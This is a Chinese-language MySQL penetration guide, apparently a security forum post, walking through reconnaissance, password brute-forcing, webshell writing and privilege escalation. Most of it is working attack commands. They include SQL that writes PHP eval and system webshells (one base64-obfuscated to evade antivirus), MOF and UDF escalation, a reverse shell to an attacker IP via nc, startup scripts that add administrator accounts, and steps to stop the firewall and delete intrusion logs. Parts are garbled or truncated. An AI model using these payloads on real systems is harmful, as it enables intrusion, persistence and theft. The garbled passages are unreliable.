

## Mysql数据库渗透及漏洞利用总结

Simeon

Mysql数据库是目前世界上使用最为广泛的数据库之一，很多著名公司和站点都使用Mysql作为其数据库支撑，目前很多架构都以Mysql作为数据库管理系统，例如LAMP、

### 1.1 Mysql信息收集

#### 1.端口信息收集

Mysql默认端口是3306端口，但也有自定义端口，针对默认端口扫描主要利用扫描软件进行探测，推荐使用：

(1) iisputter，直接填写3306端口，IP地址填写单个或者C段地址。

(2) nmap扫描nmap -p 3306 192.168.1.1-254

特定目标的渗透，可能需要对全端口进行扫描，可以使用Nmap对某一个IP地址进行全端口扫描，端口扫描软件还有sfind等DOS下扫描的工具。

#### 2.版本信息收集

(1) msf查看版本信息auxiliary/scanner/mysql/mysql\_version模块，以扫描主机192.168.157.130为例，命令为：

```
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run
```

(2) mysql查询版本命令：

```
SELECT @@version`SELECT version();
```

(3) sqlmap通过注入点扫描确认信息：

```
sqlmap.py -u url --dbms mysql
```

(4) phpmyadmin管理页面登录后查看localhost->version参数值。

#### 3.数据库管理信息收集

Mysql管理工具有多种，例如phpmyadmin网站管理，Navicat for

MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息，这些信息包含数据库服务器地址和数据库用户名以及密码，通过嗅探或者破解配置文件可以获取

#### 4.msfi信息收集模块

(1) mysql哈希值枚举

```
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run
```

(2) 获取相关信息

```
use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run
```

获取数据库版本，操作系统名称，架构，数据库目录，数据库用户以及密码哈希值。

(3) 执行mysql语句，连接成功后可以在msf执行sql语句，跟sqlmap的--sql-shell模块类似。

```
use auxiliary/admin/mysql/mysql_sql
```

(4) 将mysql\_schem导出到本地 /root/.msf4/loot/文件夹下

```
use auxiliary/scanner/mysql/mysql_schemadump
```

## （5）文件枚举和目录可写信息枚举

```
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs
```

没有测试成功过，需要定义枚举目录和相关文件，觉得基本没啥用。

## 1.2Mysql密码获取

### 1.2.1暴力破解

Mysql暴力破解主要有几种：

#### 1.网页在线连接破解

可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载：<https://portswigger.net/burp/>、<http://pan.baidu.com/s/1c1LD6co>

#### 2.msf通过命令行进行暴力破解

msf破解mysql密码模块auxiliary/scanner/mysql/mysql\_login，其参数主要有BLANK\_PASSWORDS、BRUTEFORCE\_SPEED、DB\_ALL\_CREDS、DB\_ALL\_PASS、D

##### （1）场景A：对内网获取root某一个口令后，扩展渗透

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run
```

执行后对192.168.157.1-254进行mysql密码扫描验证。

##### （2）场景B：使用密码字典进行扫描

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run
```

## 3.使用nmap扫描并破解密码

##### （1）对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

```
nmap --script=mysql-brute 192.168.157.130
nmap --script=mysql-brute 192.168.157.1-254
```

##### （2）使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

```
nmap -sV --script=mysql-databases --script-args=mysqluser=root,mysqlpass=root 192.168.157.130
```

##### （3）检查root空口令

```
nmap --script mysql-empty-password 192.168.195.130
```

4.使用hscan工具对mysql口令进行扫描，需要设置扫描IP地址段以及数据库口令字典及用户名字典。

### 1.2.2源代码泄露

#### 1.网站源代码备份文件

一些网站源代码文件中会包含数据库连接文件，通过查看这些文件可以获得数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、d

#### 2.配置备份文件

使用ultraedit等编辑文件编辑数据库配置文件后，会留下bak文件。

### 1.2.3文件包含

本地文件包含漏洞可以包含文件，通过查看文件代码获取数据库配置文件，进而读取数据库用户名和密码。

### 1.2.4其它情况

有些软件会将IP地址、数据库用户名和密码写进程序中，运行程序后，通过cain软件进行嗅探，可以获得数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录

## 1.3Mysql获取webshell

### 1.3.1phpmyadminroot账号获取webshell

MysqlRoot账号通过phpMyAdmin获取webshell的思路，主要有下面几种方式，以第一二六八种方法较佳，其它可以根据实际情况来进行。

#### 1.直接读取后门文件

通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径，有些网站前期已经被别人渗透过，因此在目录下留有后门文件通过load\_file直接读取。

#### 2.直接导出一句话后门

前提需要知道网站的真实物理路径，例如呼求偶真实路径D:\work\WWW，则可以通过执行以下查询，来获取一句话后门文件cmd.php，访问地址<http://www.somesite.com>

```
select '<?php @eval($_POST[antian365]);?>' INTO OUTFILE 'D:/work/WWW/antian365.php'
```

#### 3.创建数据库导出一句话后门

在查询窗口直接执行以下代码即可，跟2.原理类似。

```
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
DROP TABLE IF EXISTS `antian365`;
```

#### 4.可执行命令方式

□

创建执行命令形式的shell，但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令，使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行)

```
select '<?php echo \<pre>\';system($_GET[\`cmd\`]); echo \</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
```

另外在linux下可以导出直接执行命令的shell：

```
SELECT '<? system($_GET[\`c\`]); ?>' INTO OUTFILE '/var/www/shell.php';
```

<http://localhost/shell.php?c=cat%20/etc/passwd>

#### 5.过杀毒软件方式

通过后台或者存在上传图片的地方，上传图片publicguide.jpg，内容如下：

```
<?php$a=' PD9waHAgQG9V2YW9QJF9QT1NUWydhbnR5YW4zNjUnXSk7ZGllKkCk7Pz4=';error_reporting(0);@set_time_limit(0);eval(">".base64_decode($a));
```

然后通过图片包含temp.php，导出webshell。

```
select '<?php include 'publicguide.jpg' ?>' INTO OUTFILE 'D:/work/WWW/antian365.php'
```

一句话后门密码：antian365

#### 6.直接导出加密webshell

一句话后门文件密码：pp64mqa2x1rnw68，执行以下查询直接导出加密webshell，D:/WEB/IPTEST/22.php，注意在实际过程需要修改D:/WEB/IPTEST/22.php。

```
select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C7663')
```

注意：

也可以使用<http://tool.lu/hexstr/>网站的代码转换来实现，将需要导出的文件代码复制到网站的字符串中，通过字符串转成十六进制，将十六进制字符串放入unhex函数进行

```
select unhex('■■■■■■■■') into dumpfile 'D:/WEB/shell.php'
```

#### 7.CMS系统获取webshell

有些情况下无法获取网站的真实路径，则意味着无法直接导出一句话webshell，可以通过CMS系统管理账号登录系统后，寻找漏洞来突破，例如dedecms则可以通过破解管

(1) dedecms系统的密码有直接md5，也有20位的密码，如果是20位的密码则需要去掉密码中的前3位和最后1位，然后对剩余的值进行md5解密即可；

(2) phpcms v9版本的密码需要加salt进行破解，需要选择破解算法md5(md5(\$pass).\$salt)进行破解。

(3) Discuz!论坛帐号保存在ucenter\_members(Discuz7.X及以上版本)或者cdb\_members(discuz6.x版本)表中，其破解需要带salt进行，其破解时是使用password

#### 8.general\_log\_file获取webshell

### (1) 查看general文件配置情况

```
show global variables like "%general%";
```

### (2) 关闭general\_log

```
set global general_log=off;
```

### (3) 通过general\_log选项来获取webshell

```
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
```

在查询中执行语句：

```
SELECT '<?php assert($_POST["cmd"]);?>';
```

Shell为cmd.php，一句话后门，密码为cmd。

## 1.3.2sqlmap注入点获取webshell

sqlmap注入点获取webshell的前提是具备写权限，一般是root账号，通过执行命令来获取：

```
sqlmap -u url--os-shell

echo "<?php @eval($_POST['c']);?>" >/data/www/1.php
```

## 1.4Mysql提权

### 1.4.1mof提权

#### 1.Webshell上传mof文件提权

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(<https://www.exploit-db.com/exploits/23083/>)，简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件：

```
1 MOF Mofcomp.exe
2 IMofCompiler $ CompileFile
3 %SystemRoot%\System32\Wbem\MOF MOF
```

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe

文件，或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的

WMI提供，并因为此功能可能不会提供在将来的版本后，不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF

该漏洞的利用前提条件是必须具备mysql的root权限，在Kingcope公布的0day中公布了一个pl利用脚本。

```
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
```

192.168.2.100为mysql数据库所在服务器，mysql口令为空，反弹到192.168.2.150的5555端口上。

### 2.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件：

```
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select \ From __InstanceModificationEvent "

Where TargetInstance Isa \"Win32_LocalTime\"

And TargetInstance.Second = 5";

QueryLanguage = "WQL";
```

```
};

instance of ActiveScriptEventConsumer as $Consumer

{

    Name = "consPCSV2";

    ScriptingEngine = "JScript";

    ScriptText =

        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\");";

};

instance of __FilterToConsumerBinding

{

    Consumer = $Consumer;

    Filter = $EventFilter;

};
```

Windows下UDF提权对于Windows2008以下服务器比较适用，也即针对Windows2000、Windows2003的成功率较高。

## 1.UDF提权条件

- (1) Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
- (2) Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32, 在windows2000下放置于c:\winnt\system32。
- (3) 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数, 一般以root账号为佳, 具备`root账号所具备的权限的其它账号也可以。
- (4) 可以将udf.dll写入到相应目录的权限。

## 2.提权方法

- (1) 获取数据库版本、数据位置以及插件位置等信息

```
select version();//■■■■■■■■
select user();//■■■■■■■■
select @@basedir ;//■■■■■■■■
show variables like '%plugins%'; //■■■■mysql■■■■
```

- ## (2) 导出路径

```
C:\Winnt\udf.dll      Windows 2000  
C:\Windows\udf.dll    Windows2003■■■■■■■■■■■■■■■C:\Windowsudf.dll■
```

## MYSQL

5.1以上版本，必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的，这就需要我们使用webshell找到MYSQL

在某些情况下，我们会遇到Can't open shared library的情况，这时就需要我们把udf.dll导出到lib\plugin目录下才可以，网上大牛发现利用NTFS ADS流来创建文件夹的方法：

```
select @@basedir; //■■■■mysql■■■■
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //■■NTFS ADS■■lib■■
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//■■NTFS ADS■■p
```

执行成功以后就会plugin目录，然后再进行导出udf.dll即可。

- (3) 创建cmdshell 函数，该函数叫什么名字在后续中则使用该函数进行查询：

```
create function cmdshell returns string soname 'lib_mysqludf_sys.dll';
```

- (4) 执行命令：

```
select sys_eval('whoami');
```

一般情况下不会出现创建不成功哦。

连不上3389可以先停止windows防火墙和筛选

```
select sys_eval('net stop policyagent');
select sys_eval('net stop sharedaccess');
```

udf.dll下常见函数：

```
cmdshell      █cmd;
downloader    ███,███████████████████████;
open3389      ███3389██████,██████(██████████);
backshell     █Shell;
ProcessView   ████;
KillProcess   ████;
regread       ████;
regwrite      ████;
shut          ███,███,███;
about         ████;

```

具体用户示例：

```
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
```

```
drop function cmdshell;//■■■■■
```

删除udf.dll文件以及其它相关入侵文件及日志。

### (6) 常见错误

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在my.ini或者mysql.cnf文件中注销(使用#号)包含secure\_file\_priv的行(SHOW VARIABLES LIKE "secure\_file\_priv")。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option

需要将my.ini中的skip-grant-tables选项去掉。

### 3.webshell下udf提权

通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

#### 4.Mysql提权综合利用工具

v5est0r 写了一个Mysql提权综合利用工具，详细情况请参考其代码共享网站：[https://github.com/v5est0r/Python\\_FuckMySQL](https://github.com/v5est0r/Python_FuckMySQL)其主要功能有：

```

1#####backdoor#####mof#####
2#####mysql#####UDF#####UDF#####
3#####LPK.dll#####
4#####

```

## UdF自动提权：

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
```

## LPK劫持提权：

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
```

## 启动项提权：

```
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -mst
```

例如通过LOAD\_FILE来查看Mysql配置文件my.ini，如果其中配置了skip-grant-tables，这无法进行提权

### 1.6.3无法获取webshell提权

## 1.连接mysql

- 1■mysql.exe -h ip -uroot -p
- 2■phpmyadmin
- 3■Navicat for MySQL

## 2.查看数据库版本和数据路径

[illegible]

### 3.修改mysql.txt

Mysql.txt为udf.dll的二进制文件转成十六进制代码。

(1) 先执行导入ghost表中的内容

修改以下代码的末尾代码 select backshell("YourIP",4444);

## (2) 导出文件到某个目录

```
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
select data from Ghost into dumpfile 'c:/windows/system32/mysqldll.dll';
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll.dll';
select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll';
select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');
select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'
```

### (3) 查看FUNCTION中是否存在cmdshell和backshell

存在则删除：

```
drop FUNCTION cmdshell;//■■■cmdshell
drop FUNCTION backshell;//■■■backshell
```

创建backshell：

```
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //■■■backshell
```

在具备独立主机的服务器上执行监听：

```
nc -vv -l -p 44444
```

执行查询：

```
select backshell("192.192.192.1",44444);//■■■192.192.192.1■■■IP■■■
```

### 4.获取webshell后添加用户命令

注意如果不能直接执行，则需要到c:\windows\system32\下执行

```
net user antian365 www.xianzhi.aliyun.com /add
```

```
net localgroup administrators antian365
```

### 1.6.4sqlmap直连数据库提权

Sqlmap直接连接数据库提权，需要有写入权限和root账号及密码，命令如下：

#### (1) 连接数据库

```
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
```

#### (2) 选择操作系统的架构，32位操作系统选择1，64位选择2。

#### (3) 自动上传udf或提示os-shell

#### (4) 执行whomai命令如果获取系统权限，则表示提权成功。

### 4.msfudf提权

Kali渗透测试平台下执行（kali下载地<https://www.kali.org/downloads/>）：

```
msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0■■■exploit
```

msf下udf提权成功率并不高，跟windows操作系统版本，权限和数据库版本有关，特别是secure-file-priv选项，如果有该选项基本不会成功。

### 1.6.4启动项提权

#### 1.创建表并插入vbs脚本到表中

依次使用以下命令：

```
show databases ;
use test;
```



```
show tables;
create table a (cmd text);
insert into a values ("set wshshell=createobject ("wscript.shell" ) " ");
insert into a values ("a=wshshell.run ("cmd.exe /c net user aspnetaspnettest/add",0)");
insert into a values ("b=wshshell.run ("cmd.exe /c net localgroup Administrators aspnet /add",0) " ");
select \ from a;
```

## 1. 导出vbs脚本到启动

使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

```
select \ from a into outfile "C:\\Documents and Settings\\All Users\\■■■■■■■■\\■■\\■■\\a.vbs";
```

导入成功后，系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低，有时候会出现不能导出的错误。

推荐使用以下脚本：

```
show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values ("net user Aspnet123545345! /add");
insert into b values ("net localgroup administrators Aspnet /add");
insert into b values ("del b.bat");
select from b into outfile "C:\\Documents and Settings\\All Users\\■■■■■■■■\\■■\\■■\\b.bat";
```

该脚本执行后虽然会闪现Dos窗口，如果有权限导入到启动选项中，则一定会执行成功，在虚拟机中通过MySQL连接器连接并执行以上命令后，在C:\\Documents and Settings\\All Users\\■■■■■■■■\\■■\\■■目录中会有刚才导出的b.bat脚本文件

## 说明

在不同的操作系统中C:\\Documents and Settings\\All Users\\■■■■■■■■\\■■\\■■目录文件名称可能会不同，这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为：

```
select from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";
```

Windows 2008 Server的启动目录为：

```
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
```

其vbs方法可以参考如下写法：

```
create table a (cmd text);
insert into a values ("set wshshell=createobject ("wscript.shell" ) " ");
insert into a values ("a=wshshell.run ("cmd.exe /c net user antian365 qwer1234!@# /add",0) " ");
insert into a values ("b=wshshell.run ("cmd.exe /c net localgroup Administrators antian365 /add",0) " ");
select \ from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
```

## 3.msf下模块exploit/windows/mysql/mysql\_start\_up提权

```
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run
```

msf下mysql\_start\_up提权有一定的几率，对英文版系统支持较好。

## 1.7Msf其它相关漏洞提权

### 1.MySQL身份认证漏洞及利用(CVE-2012-2122)

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

```
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
```



[登录](#) 后跟帖

先知社区

---

[现在登录](#)

热门节点

---

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)